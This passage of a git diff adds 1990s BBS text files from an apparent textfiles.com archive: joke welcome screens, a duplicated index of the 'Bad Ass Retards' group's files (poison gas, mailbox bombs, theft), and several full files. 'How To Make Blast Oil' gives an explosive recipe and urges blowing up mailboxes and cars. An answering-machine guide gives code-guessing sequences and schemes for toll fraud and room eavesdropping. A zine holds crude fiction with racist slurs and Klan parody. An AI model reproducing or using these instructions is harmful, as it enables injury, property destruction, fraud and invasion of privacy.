in +a major limb or apendage, in order that I can count the growth rings. + +Wrap all samples carefully and mail them to... + + ----------------------- + THE BANANA REPUBLIC BBS + ----------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.017 b/textfiles.com/groups/BANANAREPUBLIC/welcome.017 new file mode 100644 index 00000000..1c895b1d --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.017 @@ -0,0 +1,22 @@ + +The appeal to the United Nations has been presented + +The International Media has been informed + +America's ambasador to The Banana Republic has been expelled + +El Presidente has imposed a trade embargo + +The invading forces have been repulsed + +The Glorious Might of the Banana Republic is Victorious + +El Presidente is still in Power + +and the peons suffer daily under the whip + +...in other words, its business as usual in, + +----------------------- +THE BANANA REPUBLIC BBS +----------------------- diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.018 b/textfiles.com/groups/BANANAREPUBLIC/welcome.018 new file mode 100644 index 00000000..4862263d --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.018 @@ -0,0 +1,74 @@ + + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + no + fuck off + + + its + + ----------------------- + THE BANANA REPUBLIC BBS + ----------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.019 b/textfiles.com/groups/BANANAREPUBLIC/welcome.019 new file mode 100644 index 00000000..d292ec35 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.019 @@ -0,0 +1,29 @@ + +"Barri!, we stand at the dawn of a new era!" + +"...yes, master?" + +"Barri, after many years of study I am ready, + This day will see my crowning achievement, + For today I, El Presidente, intend to + breathe life into long dead tissues, I will + CREATE LIFE ITSELF!!" + +"Master, is this thing possible??" + +"Yes, Barri, it is possible, and I will do it! + Throw open the roof to the heavens, let the + mystical force of electricity re-animate this + mouldering corpse!!" + + + +"BARRI!!! IT WORKS, IT WORKS, MY CREATION LIVES!!" + + + + + + THE BANANA REPUBLIC BBS LIVES AGAIN + + diff --git a/textfiles.com/groups/BAR.1 b/textfiles.com/groups/BAR.1 new file mode 100644 index 00000000..0fee366b --- /dev/null +++ b/textfiles.com/groups/BAR.1 @@ -0,0 +1,38 @@ + +T E X T F I L E S + +

Groups: The Bad Ass Retards

+

+ + + + + +
+
Filename
Size
Description of the Textfile
abigwar.oil 1795
 How to Make Blast Oil by Pyro of Bad Ass Retards (1993) +
ansmac.bar 7063
 Answering Machines: How to Crack Them by the Bad Ass Retards +
barb3.txt 36864
 Filed and Condenced Version of Bloated Barbies #3 (April 1994) +
barmem.app 1608
 Application to Join the Bad Ass Retards +
barsite.app 1451
 Application to become a Bad Ass Retards Distribution Site +
carkil1.bar 2413
 Another Way to Kill a Car! By Snake of Bad Ass Retards +
carkill2.bar 2636
 Yet Another Way to Kill a Car by Snake and Menace (May 26, 1993) +
cointrik.bar 1311
 Free Soda with Trick Coins by Irie Man of the Bad Ass Retards +
copy4fre.bar 1493
 How to Make Free Copies on a Copying Machine by Snake of the Bad Ass Retards +
deathgas.bar 873
 How to Make Poisonous Gas with Household Materials by Irie Man of Bad Ass Retards +
doorknok.bar 848
 Annoying Door Knocker by Irie Man of the Bad Ass Retards +
drink&go.bar 1607
 Car Beverage Trick by Irie Man of the Bad Ass Retards +
foodmch.bar 1727
 How to Rip off Soda Machines by Jungle Jimmy of the Bad Ass Retards +
funherbs.bar 1158
 Herbal Teas Can Be Cool by Irie Man of Bad Ass Retards +
fuse.bar 1596
 How to Blow Fuses by Jungle Jimmy of the Bad Ass Retards +
lock.bar 1227
 How to Break Into Rooms In Your School by Jungle Jimmy of the Bad Ass Retards +
lockers.bar 3199
 School Locker Fun by Irie Man of the Bad Ass Retards +
malbxbom.bar 2124
 How to Blow Up Mailboxes by Jungle Jimmy of the Bad Ass Retards +
master.bar 1893
 How to Get Past Master Lcks by Magik of the Bad Ass Retards +
moresoda.bar 1763
 Yet Another File On Cheating Change & Soda Machines by Trillion of Bad Ass Retards +
pipekill.bar 2628
 Pipe Killing by Snake of the Bad Ass Retards +
poolkill.bar 1510
 How to Kill a Pool by Snake of the Bad Ass Retards +
scam1.bar 2489
 A Scam, by Trillion of the Bad Ass Retards +
sodatip.bar 2049
 How to Get Free Sodas by Jungle Jimmy of the Bad Ass Retards +
steal.bar 4297
 How to Steal, by the Bad Ass Retards +
ßÆÔ.nfo 527
 .NFO file for the Bad Ass Retards in 1993 +

There are 26 files for a total of 88,149 bytes.
\ No newline at end of file diff --git a/textfiles.com/groups/BAR/.windex.html b/textfiles.com/groups/BAR/.windex.html new file mode 100644 index 00000000..0ec9c26d --- /dev/null +++ b/textfiles.com/groups/BAR/.windex.html @@ -0,0 +1,38 @@ + +T E X T F I L E S + +

Groups: The Bad Ass Retards

+

+ + + + + +
+
Filename
Size
Description of the Textfile
abigwar.oil 1795
 How to Make Blast Oil by Pyro of Bad Ass Retards (1993) +
ansmac.bar 7063
 Answering Machines: How to Crack Them by the Bad Ass Retards +
barb3.txt 36864
 Filed and Condenced Version of Bloated Barbies #3 (April 1994) +
barmem.app 1608
 Application to Join the Bad Ass Retards +
barsite.app 1451
 Application to become a Bad Ass Retards Distribution Site +
carkil1.bar 2413
 Another Way to Kill a Car! By Snake of Bad Ass Retards +
carkill2.bar 2636
 Yet Another Way to Kill a Car by Snake and Menace (May 26, 1993) +
cointrik.bar 1311
 Free Soda with Trick Coins by Irie Man of the Bad Ass Retards +
copy4fre.bar 1493
 How to Make Free Copies on a Copying Machine by Snake of the Bad Ass Retards +
deathgas.bar 873
 How to Make Poisonous Gas with Household Materials by Irie Man of Bad Ass Retards +
doorknok.bar 848
 Annoying Door Knocker by Irie Man of the Bad Ass Retards +
drink&go.bar 1607
 Car Beverage Trick by Irie Man of the Bad Ass Retards +
foodmch.bar 1727
 How to Rip off Soda Machines by Jungle Jimmy of the Bad Ass Retards +
funherbs.bar 1158
 Herbal Teas Can Be Cool by Irie Man of Bad Ass Retards +
fuse.bar 1596
 How to Blow Fuses by Jungle Jimmy of the Bad Ass Retards +
lock.bar 1227
 How to Break Into Rooms In Your School by Jungle Jimmy of the Bad Ass Retards +
lockers.bar 3199
 School Locker Fun by Irie Man of the Bad Ass Retards +
malbxbom.bar 2124
 How to Blow Up Mailboxes by Jungle Jimmy of the Bad Ass Retards +
master.bar 1893
 How to Get Past Master Lcks by Magik of the Bad Ass Retards +
moresoda.bar 1763
 Yet Another File On Cheating Change & Soda Machines by Trillion of Bad Ass Retards +
pipekill.bar 2628
 Pipe Killing by Snake of the Bad Ass Retards +
poolkill.bar 1510
 How to Kill a Pool by Snake of the Bad Ass Retards +
scam1.bar 2489
 A Scam, by Trillion of the Bad Ass Retards +
sodatip.bar 2049
 How to Get Free Sodas by Jungle Jimmy of the Bad Ass Retards +
steal.bar 4297
 How to Steal, by the Bad Ass Retards +
ßÆÔ.nfo 527
 .NFO file for the Bad Ass Retards in 1993 +

There are 26 files for a total of 88,149 bytes.
diff --git a/textfiles.com/groups/BAR/abigwar.oil b/textfiles.com/groups/BAR/abigwar.oil new file mode 100644 index 00000000..385cb9df --- /dev/null +++ b/textfiles.com/groups/BAR/abigwar.oil @@ -0,0 +1,36 @@ + + á’â + Bad Ass Retards + presents + "How To Make Blast Oil" + by Pyro + + (Contents) +You are going to need three contents to make Blast oil. You need a +Plastic peanut butter jar and fill , nail polish remover and half 99% +iso-propyl alcohol. These are the only three contents thatt you need +to make Blast Oil. Blast Oil makes a huge explosion if made correctly. + + + +When making Blast Oil you want to mix the chemicals together very carfully. +You don't want to spill any of them. Before lighting make sure that you +Have a cloth to light . Or use some sort of wick. If you don't use a +wick it could blow up in your face. So to prevent this make a wick +out of cloth with a little gasoling on it. When lighting the wick, +run your ass off. Get out of there becasue the explosion will be very big. +Remember to let the formula sit for a little while though. You want it to +be very Gassy. + +If used properly.. it sometimes has a nasty property of causting the entire +mixture to become gaseous. This is what you want to happen. This will cause +a bigger and better explosion. Try to get 99% pure Iso-Propyl Alcolhol.. The +lesser the purity, the lesser the chance of explosion.. Same with the acetone! + +Now that you know how to make it go out and blow up anything that you want. +You can use this to blow up mailboxes, put it under cars, or do anything that +you want with it. + + Pyro + á’â'93 + Idea from Abigwar diff --git a/textfiles.com/groups/BAR/ansmac.bar b/textfiles.com/groups/BAR/ansmac.bar new file mode 100644 index 00000000..2b26122e --- /dev/null +++ b/textfiles.com/groups/BAR/ansmac.bar @@ -0,0 +1,166 @@ + + + B.A.R + Bad Ass Retards + presents + "Answering Machines: How to Crack Them" + + +Ok, here's my first article for BAR. It's no big deal because I've done +this a million times before so don't worry to much about getting caught. +It's the easiest thing to find as many telephone answering machines as +you want in any city you want. Just dial numbers at random when people +are likely to be out and chances are you will get a machine. Many +telephone answering machines with "beeperless remote" can be "cracked" +fairly easily. They usually require a one, two, or three digit access +code to activate the hidden features. These features include listening +to messages that have been left by others, changing the outgoing message, +rewinding the tape, and even eavesdroping on the room the machine is in. + +I will first describe how you would use various methods to cheat someone +out of free telephone calls, if you were an unscrupulous telephone hacker +(which, of course, we all are hehe) + +DISCLAIMER: I in all ways recommend the use of the techniques described in +this paper, as they may be illegal. This information is for your +INFORMATION and USE only. + +1. If the access code is only one digit, the method is simple-try them all! + To discover a two digit access code, you could try all pairs of digits + (there are only 100 of them) but this means pressing 200 digits. Since + extra digits are usually ignored, you can cut this in half and try all + 100 codes with only 101 digits by using the following sequence: + + 01122334455667788991 + 35790246803692581471 + 59370494838272616051 + 72959628408529639974 + 197531864209876543210 + + +Some machines are restricted to only a few possible digits for the code. +For example, if the digits must be 3, 5, or 6 as in some Panasonic models, +you can use the sequence: + + 33556636653 + +Of course, you stop as soon as the machine responds (Usually with a beep, +the number of beeps indicating how many messages there are.) + +Three digit access codes are harder to "crack," but still you can try +common sequences like 123 or all digits the same. Also, most machines +with three digit access codes reset to a 000. + +Some 2 digit machines: Panasonic models KX-T1450, KX-T1460,KX-T1423 +Some 3 digit machines: Code-a-Phone models 2770, 5530, AT&T1330 + +2. Once you know the code for remote access, there is usually a one digit + code for selecting a special function. For our Panasonic example, the + one digit codes are as follows: + + 1 Backspace + 2 Skip Forward + 3 Reset + 4 Memory Playback + 5 Room Monitor + 6 + 7 Record Outgoing Message + 8 + 9 End Outgoing Message + 0 Turn Off + * Skip Outgoing Message + # + +Even if the machine is turned off, you can activate it by calling and +waiting for exactly 15 rings, then hang up. + +A little trial-and-error will usually get you a list like the one above. +After a while, you may recognize the sound of the beep or tape rewind, +or realize what machine you are talking to by guessing at only a few of +the one digit codes. You can also go to your local electronics store +and ask to see the instruction booklet of any of the models they carry. + +As another example, here is the list of commands for the Code-a-Phone +model 2770: + + 1 Rewind + 2 Repeat + 3 Fast Forward + 4 Change Outgoing Message (Press again to stop) + 5 Stop Playback + 6 Record Message + 7 + 8 Play NEW Messages + 9 Turn Off + 0 Time/Day Annoucement + * + # + +3. Since you now know how to operate anyone's answering machine as if it + were your own, let's see how you can "beat the system" using all this + fancy technology. Let's say you live in Bangor, Maine and you have a + friend in Yakima, Washington. You "crack" an answering machine in + Yakima (or better yet, have your friend do it where the cracking is a + local call). You change the outgoing message to the following: + + "Hello?....... Yes, operator, I will accept. + Hey, buddy, how are you?" + +Now you are all set to make a COLLECT call to the answering machine and +IT WILL ACCEPT THE CHARGES! You can then leave a message as long as you +want. When you are through, your friend calls the machine, gets the +message, and can leave a message for you which you call back and hear +COLLECT! When you are done, your friend calls up the machine, erases +the messages and puts back something like the original outgoing message +(or leaves it blank) and no one is any the wiser. + +If you use different machines and don't run up too big a bill on one +phone number, it might not ever be noticed. + +You can signal your friend to call by ringing twice and hanging up, +or placing a collect call from "Fred" which is refused, or simply by +waiting until a pre-arranged time. + +You can also find a similar machine in your city, so your friend only +has to call the answering machine collect and you do all the answering +machine hacking. Long distance collect calls are safest when done from +a pay phone. + +4. A method that does not require making collect calls (and using an + operator) is a little more complicated, but may work very well on + some answering machines. The idea is to get the answering machine + to make an OUTGOING CALL! Here's how to do it: + +First, "crack" a machine in your local area. Then, call up the machine +and leave the following message: + + "Wait about a minute (make some noise in case the + machine is a voice activated one.) Then dial in + the number to be called (1-XXX-XXX-XXXX.) and + let the tape run for about another minute like + earlier. Then leave the message to your friend." + +After you have left a message as long as you want, hang up and call +back. Enter the access code and the one digit command code for message +playback. Wait for your message to start, then hang up! + +If you are lucky, the machine will keep playing its message into the +phone, even though the connection is broken and eventually a new dial +tone appears on the line. After the new dial tone is there, the digits +you put in your message dial the phone, and after a few rings, your +friend picks up the phone and hears the rest of your message. + +After enough time for the message to get there, call back and rewind +the machine, "erasing" your message. For more safety, record a new +nonsense message over the old one. + +Most "beeperless remote" answering machines will detect when you have +hung up on them, but we suspect that some of them finish playing the +message in progress before they turn off. Experimentation will show +which ones can be used with this method. + +That's all folks...so enjoy and always keep an open line. + + + Brought to you by Whild Child 1993 + /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ diff --git a/textfiles.com/groups/BAR/barb3.txt b/textfiles.com/groups/BAR/barb3.txt new file mode 100644 index 00000000..bdfb40c6 --- /dev/null +++ b/textfiles.com/groups/BAR/barb3.txt @@ -0,0 +1,722 @@ +This is a filed and condensed version of the highly popular newzine +Bloated Barbies, which can be sold off the shelf at Denzil's Music +Emporium in Beloit, WI. Seek it out, because about 75% of the allure of +this newzine are the pictures pasted in delightfully inappropriate places throughout, +with comments attached or scribbled next to them. + + Bloated Barbies #3, April 1994 + +"A voice cries out from rural hell..." + + SPAM'S VALENTINE'S DAY THING (Sorry this was written in + February) + + WELL FOLKS, IT'S THAT TIME OF YEAR AGAIN. EVERYONE HAS ROLLED + OUT THEIR PINK AND STOCKED UP ON THOSE GROSS CANDY HEARTS. + THAT'S RIGHT, WE'VE HAD THE PLEASURE OF ENJOYING YET ANOTHER + VALENTINE'S DAY! + AHHH! LOVE, FOR WHAT ELSE WOULD THE WORLD CONTINUE? A + HELL OF A LOT, THAT'S WHAT. I DON'T KNOW ABOUT THE REST + OF YOU, BUT I'M SICK OF HEARING 16 YEAR OLD PREPPIE CHIX + TALK ABOUT WHETHER THEIR JOCK-BOY, LOVE OF THEIR LIVES + IS TAKING THEM OUT FOR VALENTINES. LOVE IS FOR OLD + PEOPLE, HAVE FUN WHILE YOUR STILL YOUNG AND DON'T GET + CAUGHT UP IN SOMETHING AS HURTFUL AS LOVE. + NOW, I'VE PERSONALLY NEVER BEEN "IN LOVE", BUT I'VE + WATCHED WAY TOO MANY OF MY FRIENDS TURN BAD BECAUSE OF IT. TRUE, + LOVE CAN BRING GOOD THINGS, BUT WHY RISK IT AT SUCH A YOUNG, + VULNERABLE AGE? JUST COUNT ON YOUR GOOD FRIENDS, THEY'RE MUCH + MORE RELIABLE, USUALLY. + SO HERE'S MY VALENTINE'S ADVICE FOR ALL OF YOU COOL + PEOPLE OUT THERE NEXT YEAR, INTEAD OF SITTING AT HOME SULKING, + OR PLANNING SOME BIG INTIMATE DATE, WHY NOT JUST GET A HUGE + GROUP OF FRIENDS TOGETHER AND GO OUT RUINING OTHER PEOPLE'S BIG + INTIMATE DATES. + WELL HUGS AND KISSES TO ALL MY FANS, AND TO THOSE OF YOU + WHO HATE ME, WELL, SINCE IT IS THE SEASON OF LOVE (AS WELL AS + BLACK PEOPLE MONTH), YOU CAN ALL HAVE A BIG, WET, SLOPPY, SPITTY + KISS! + + -PAGE TWO- + + ZEKE + THE SMALL, DEMONIC SKANK-MAN THAT LIVES IN MY HEAD + by Bitchca + + Two people, a man and a woman, sat looking forward in a plane + headed east. The two had never met before, but the woman, being + one of those people who has to talk to their neighbors, thought + that it would be rude not to start a conversation. + + "It certainly is cozy in here," she said as a man + walking through the aisle came dangerously close to hitting her + in the face with his luggage. + + "Yes, it is," said the man, still facing forward. + His beady eyes were focused on the thinning hair of the man + seated in front of him. He wondered if in time he too would lose + his hair. He decided that he probably wouldn't and smiled an + impish grin, but in a moment of doubt he reached up and ran his + fingers through his own black, spiky hair, just to make sure it + was all there. It was. + The woman, sensing that his attention was focused + elsewhere, tried again at a conversation. + "I'm Julia Potter," she said, smiling warmly, "and you + are?" + + "Zeke," he replied. + + "Oh, well isn't that nice. It's a pleasure to meet you, Zeke." + She extended her hand which he shook, without turning to look at + her. + + "I teach preschool in Portland, Oregon. Where do you live?" + + "I live in California," Zeke said slowly. "I really + don't have a specific home. I move around a lot." + + Julia was not satisfied with his answer and continued to + press him. + + "And what do you do," she asked him, "for a living, I + mean." + + Zeke turned to her smiling his broad, impish grin. He + was a young man, in his early thirties. He was very short and + thin, with a clean shaven face, pointy eyebrows, and short hair + that stuck out in every direction. His overall appearance gave + the impression of mischief, in an odd but specific way. + + "You don't want to hear about my job," Zeke said, still + smiling. + + "Oh yes, Yes, tell me," said Julia, happy that the + conversation was going somewhere. + + "I will then," he said to the plump, middle aged Julia, + wondering how she would take the news. + "I'm a lot like the creme in the center of a hostess + cupcake," he said, pleased at his example. + + "What?" questioned Julia, not understanding his meaning. + + "Well, you see," started Zeke, "without the creme all + you have is a boring chocolate brownie. Some people like + brownie, but not me. I'm like the creme. I squeeze into the + middle and make things a little more interesting." + + "I don't understand," said Julia. + + "Oh, I know," said Zeke. "You have a bit of a headache + now, don't you?" + + "Well, yes, but that's just because of the high altitude," she + said, wondering how he knew. + "No, see, that's where you're wrong," he said, with + patronizing chortle. "You have a headache because there is a + small man living in your head right now. He is currently + programming you so that you don't understand me. I don't mind, + though. That will just make this all the more humorous. Judging + by the wrinkles in your forehead, I can tell that he is + stationed somewhere in your left temple. How silly. I always + hated the temples myself." + Julia, no longer paying attention, as a result of the + man in her head, touched her temple in astonishment. + "I myself have always preferred the sinus cavities," he + said proudly. "You see, I had sinus problems as a child, and, + well, I always think it's kind of fun to bounce around in the + sinuses of game show hosts, politicians, and people in that + general area." + Julia, no longer able to control her mind enough to + focus on his speech, was staring wildly at the designs on his + tie. + "My personal fetish is to cause pain," he continued. "You see, + as a child I never wanted to be a Zeke, I wanted to be a + fireman, but NO! I just couldn't have what I wanted so as a + victim of fate I find pleasure in making bad decisions for + people. I personally am responsible for many misunderstandings + that have led to divorce, suicide, even murder." He stopped and + glanced around. + Julia had left, deliriously pouting out personal secrets. + She finally found a seat next to an old woman. Julia cloed her + eye and went to bed, a visions of sugar plum danced in her + head. + + -Page Three- + + DISCLAIMER - "Dave"'s serialized presence in our zine is not as + a positive example, but as a parody. His exploits are not in any + way glorified. + We're not P.C., but we're not stupid! + + DAVE THE ANTI-HIPPY KLANSMAN/TRUCK DRIVER: THE WONDER YEARS + + Like so many other anti-hippy/klansman/truck drivers, Dave + wasn't always a bitter, hateful individual. There was a time in + Dave's life when all it took to put a slap happy grin on his + face was a joyride around the neighborhood in his grandmother's + old wheelchair, and frequent visits to a local pancake house. + But don't get me wrong, Dave's adolescence wasn't all wheelies + and cheese blitzes, he was a disgruntled and misunderstood + youth. It's hard to say just exactly where things went wrong for + Dave. It could have been the annual church auction when Dave, + who was only 7, was mistakenly placed on the auction block and + sold for $15 to an elderly couple. But it's more likely that + incidents like the one that happened before Dave was 14 were + responsible. At 14 Dave was mature for his age, already having + begun his womanizing. He hung out with the older crowd, a group + filled with young, rebellious outcasts. Among his best friends + in the group was a rowdy, pot-smoking black hippy named Rainbow. + Dave and his unusual friend often cruised around together on + Rainbow's bicycle, with Dave on the handlebars, of course. + One night Dave's mother received a frantic call from Rainbow's + mother. Apparently she had heard rumors of her son's drug use + and decided to inspect his trusty vehicle. That's when she found + it: marijuana. When she confronted Rainbow, he pointed the + finger at Dave, claiming he had merely been keeping "the stuff" + for him. No matter how much Dave denied it, it did him nog good. + Dave was banned from church functions for an entire year, but + more importantly, he never trusted a black hippy again. As Dave + grew older, he became more distant, promiscuous, and mysterious. + He also became involved in the white supremacy movement. His + parents were worried, they didn't know what was going on in the + complicated mind of their precious lil' Dave. So they had an + idea, they thought that maybe Dave would enjoy going to a local + festival of foreign cultures. Well, they packed Dave into the + car and took him to experience other peoples. Dave leapt from + the car and darted for the Irish booth. When he got there, he + asked excitedly, "Where's your Nazi paraphenalia?" + As the clerk stared at him in confusion, Dave began chanting, + "Send the blacks back to the South!" Having caught everyone off + guard, Dave sprinted to a nearby ramp and rolled down the wrong + side in protest, knocking down the approaching representatives + of the African American booth. He spent the rest of the night in + the beer garden, contemplating whether or not you could really + grow beer. + By the time Dave was 25, he had received his high school + diploma (well, his GED anyway) and decided it was time to choose + a vocation. He wanted to do something to assert his manhood, do + his other "brothers" in the clan proud, and confirm his white + superiority. + One day, Dave was stumbling around in a drunken stupor, + contemplating his future, when he saw THEM. They were the most + glorious creatures he had ever seen. Congregated at a local rest + area were a dozen of the greasiest, most obnoxious, ignorant, + and obese men Dave had ever seen. Their filthy attire and + atrocious grammar just emanated an unmatched class and + superiority. As Dave stood in awe of the savage mob, it began to + disperse. Dave's eyes followed the group to a row of + intimidating, majestic automobiles sitting under the sun. With + 18 wheels and God-only-knows how many axles, these trucks just + cried, "Minorities, get out of my way!" That's when Dave knew he + wanted to be a trucker, to own the road and spawn new Klans + wherever he traveled. + "Life is good..." muttered Dave. Then he vomited on his + shoes and passed out. + + -Page four- + + "TONY" + THE EXCEPTIONALLY DEEP, WITTY, ELVIS-IMPERSONATING, PUNK ROCK, + GENIUS WHO'S PROBABLY STILL IN THE MENTAL HOSPITAL. + BY BITCHCA & SPAM + + IT WAS SATURDAY NIGHT, THE NIGHT OF THE BIG SHOW AT THE COLLEGE + GRADUATE HOUSE, AND BOY, WAS TONY EVER NERVOUS! AFTER COLORING + HIS HAIR CLUE WITH KOOL-AID, A TIP HE LEARNED FROM HIS + GIRLFRIEND TANYA'S SASSY MAGAZINE, TONY FELT TRULY PUNK ROCK, + BUT HIS LOOK WAS NOT YET COMPLETE. HE TORE APART HIS CLOSET + LOOKING FOR JUST THE RIGHT OUTFIT TO PLEASE THE HARD-CORES. + HE THOUGHT OF WEARING HIS "HEY LOOK GUYS, I'M IN THE + PIT!" T-SHIRT, BUT DISMISSED THE IDEA WHEN HE SAW HIS BRAND + SPANKIN' NEW DEAD KENNEDYS T-SHIRT THAT HE BOUGHT BECAUSE IT + LOOKED COOL AND LATER FOUND OUT IT WAS A BAND. HE GLANCED + FORLORNLY AT HIS AUTHENTIC RHINESTONE ELVIS JUMPSUIT THAT HE HAD + HAD PRESSED ESPECIALLY FOR THE SHOW, BUT HE THOUGHT, "NO, PEOPLE + MIGHT LAUGH AT ME, AND I DON'T KNOW IF MY FRAGILE, DEPRESSED + FRESH OUT OF THE MENTAL HOSPITAL SELF COULD TAKE THAT KIND OF + ABUSE. TRUE, MY DAD THE WORLD'S GREATEST HIGH SCHOOL GUIDANCE + COUNSELOR HAS GIVEN ME A LOT OF HELP WITH MY EMOTIONAL + INSTABILITIES, BUT SOMETIMES I FEEL LIKE I CAN'T TURN TO ANYONE + IN THE WORLD, EXCEPT MORISSEY, BUT ONLY IN THE PRIVACY OF MY OWN + BEDROOM, WHERE I CAN HIDE MY METALLICA TAPES... AND PENNANTS... + AND BEDSPREAD. SOMEDAY I WILL BE ABLE TO CONFESS MY LOVE FOR + LARS, BUT WHAT IF PEOPLE LAUGH AT ME...?" + WIPING AWAY HIS TEARS OF LONELINESS, TONY TOOK ONE LAST + LOOK IN THE MIRROR, QUICKLY CUT A HOLE IN HIS JEANS, AND + TIGHTENED THE WHITE LACES IN HIS BOOTS. MOMENTARILY INSPIRED, HE + SCRIBBLED DOWN IN HIS NOTEBOOK LABELED "DEEP POEMS" "AH, THE + LONELY LIFE OF A GENIUS HIDING BEHIND THE FACADE OF A PUNK + ROCKER. IT'S INSPIRATIONAL HOW I CAN EVEN CONTINUE LIVING THIS + TROUBLED LIFE I LEAD. I SAW THE BEST MINDS OF MY GENERATION + DESTROYED BY MADNESS, STARVING HYSTERICAL, NAKED, DRAGGING + THEMSELVES THROUGH THE NEGRO STREETS AT DAWN LOOKING FOR AN + ANGRY FIX." "OH NO, WAIT," HE THOUGHT "THAT'S ALREADY BEEN USED, + I THINK BY THAT ROLLINS GUY." + TONY THEN LEFT HIS SPRAWLING MANSION, BOARDED HIS TRUSTY RED + PICKUP TRUCK AND DROVE TO HIS FRIEND DAN'S HOUSE. + DAN CAME TO THE DOOR IN AN ECSTATIC STUPOR (NOT DRUNKEN, + NOT DRUNKEN, MIND YOU, HE LIVES BY THE IMMORTAL WORDS OF IAN + MACKAYE). "TONY," HE EXCLAIMED, "I JUST GOT THE NEW JACK KEROUAC + CD, AND, MAN, IS IT DEEP!" FOLLOWING DAN CAME STEVE, WEARING HIS + FRESHLY TORN UP ARMY PANTS, PURCHASED FOR TONY'S APPROVAL (AND + TO IMPRESS THE GIRLS, OF COURSE, NAMELY TIFFY, WHO STEVE THOUGHT + LOOKED PRETTY KEEN IN HER NEW VANS AND HER NOSE RING.) AND WHO + SHOULD SUDDENYL HOP INTO THE TRUCK BUT TANYA, TONY'S TRUE LOVE. + FINALLY THE GANG WAS COMPLETE, AND THEY TOOK OFF FOR A FUN + FILLED EVENING OF "MOSHING" AT THE COLLEGE GRADUATE HOUSE. + THEY SAUNTERED INTO THE NOISY ROOM LOOKING FOR AWED + STARES, BUT ALAS THERE WERE NONE. THE MUSIC BEGAN AND STEVE AND + DAN STARTED HAPPILY BOUNCING. TONY QUICKLY PUT AN END TO THAT + WITH A DOMINANT STARE AND THE WORDS, "HEY MAN, HOW CAN YOU + EXPRESS SO MUCH JOY IN AN OPPRESIVE WORLD SUCH AS OURS." + "OH YEAH," STEVE AND DAN HURRIEDLY AGREED. SUDDENLY TONY + FELT HIS LIP CURL UP INTO A SNEER AND HIS PELVIS BEGAN TWITCHING + UNCONTROLLABLY. THROWING CAUTION TO THE WIND, HE FLUNG HIMSELF + INTO A SEA OF SPIKES. WHEN THE MUSIC STOPPED, TONY SPOTTED HIS + IDOL SPIKE. SPIKE GREETED HIM. "HEY TONY, YOU LOOK PRETTY + HARD-CORE TONIGHT. WOULD YOU LIKE TO JOIN OUR ARMY OF PUNKS + SLOWLY SPREADING ACROSS THE NATION?" + TONY COULD HARDLY SPEAK; HE HAD BEEN ACCEPTED! HE MERELY + NODDED. ONCE HE HAD REGAINED HIS COMPOSURE HE SAID, "HEY MAN, + WASN'T THE MOSHIN' GREAT TONIGHT? I LOVE TO MOSH!" + SPIKE SNAPPED, "SLAM!" (DO-DO-DO; DO-DO-DO, LET THE PUNX BE + PUNX!) + "UH, YEAH. SLAM." TONY SAID OBEDIENTLY. SPIKE GAVE HIM A + WELL PRACTICED LOOK OF DISGUST AND WALKED AWAY. TONY WAS + MOURNING THE LOSS OF HIS NEW FRIEND, WHEN SUDDENLY HE FELT + SOMETHING BOUNCE OF THE TOP OF HIS HEAD. HE LOOKED AROUND + CONFUSEDLY AND SPOTTED THE TWO GIGGLING GIRLS (WHO NEED NOT BE + NAMED) WHO HE RESENTED BECAUSE OF THEIR EXTREME COOLNESS AND THE + FACT THAT THEY WOULD NOT ACCEPT HIM. THEN HE REMEMBERED THE + WISE WORDS HIS FATHER HAD SHARED WITH HIM, NOT YET SIX YEARS + AGO. "WHEN GIRLS THROW THINGS AT YOU IT MEANS THEY LIKE YOU. + GIRLS ARE FUNNY THAT WAY." IT WAS TRUE IN THE SIXTH GRADE SO IT + STILL BE TRUE NOW. THINKING ON HIS FEET, TONY THREW THE TWO + GIRLS AN ELVIS-LIKE SNEER AND REPLIED, "FUK YOU!" + REALIZING THAT THEY WERE STILL LAUGHING AT HIM (DESPITE + HIS WITTY REMARK) TONY GLANCED AT THE FLOOR TO SEE EXACTLY WHAT + IT WAS THEY HAD THROWN AT HIM. HORRIFIED, HE SAW THAT IT WAS AN + AUTORAPHED PICTURE OF MORRISEY WITH A SPECIAL MESSAGE JUST FOR + HIM WHICH READ: "TONY, YOU'RE NOT ALONE. STAY DEEP, EVEN WHEN + PEOPLE LAUGH AT YOU." THEY KNEW HIS SECRET.. AND TO MAKE + MATTERS WORSE, SPIKE HAD SEEN IT! HUMILIATED, HE GATHERED UP HIS + THINGS AND SAID TO HIS WOMAN, "C'MON SHUGA, THEY'RE BEING + CRUEL." THEY HOPPED INTO THE TRUCK AND SPED AWAY INTO THE NIGHT, + NE'ER TO BE SEEN AGAIN, OR SO THE TWO GIRLS WISHED. + + HELP DECIDE TONY'S FATE. PICK THE TORTURE OF YOUR CHOICE AND + SEND IT TO: bloated barbies, suite #1948, 2240 prairie ave., + beloit, wi 53511 + + a. THE TWO GIRLS (WHOSE NAMES NEED NOT BE MENTIONED) SENTENCE + TONY TO A LIFETIME IMPRISONMENT ON A BOAT WITH MORRISEY. WITH + NOTHING TO EAT, THEY ARE FORCED TO FEED ON MORRRISEY'S SUPPLY OF + OINK SILK SHIRTS. AFTER THREE WEEKS, MORRISSEY GROWS SICK OF + TONY'S CONSTANT SELF-PITY AND THROWS HIM OFF THE BOAT, BUT KEEPS + THE DEAD KENNEDYS SHIRT FOR HIMSELF. AFTER ALL, IT'S A COOL + PICTURE. + + B. TONY, ONCE AGAIN SENSELESSLY REBELS DUE TO HIS OVERWHELMING + DEPTH. HIS PARETNS PROMPTLY SEND HIM BACK TO THE MENTAL + HOSPITAL, WHERE THE EXTRA-SPECIAL "TONY SUITE" AWAITS HIM. + + C. TONY DECIDED HE DOESN'T NEED THE REST OF THOSE "PUNKS" AND + SETS UP HIS OWN SHOW WHERE HIS THREATENINGLY-CLOSE-TO-METAL BAND + PLAYS ALL NIGHT. AFTERWARDS, HIS DRUMMER, AFFECTIONATELY + NICKNAMED THE "HAIR FARMER" (FOR HIS EXCEPTIONAL ABILITY TO GROW + HAIR) IS BRUTALLY HACKED TO DEATH 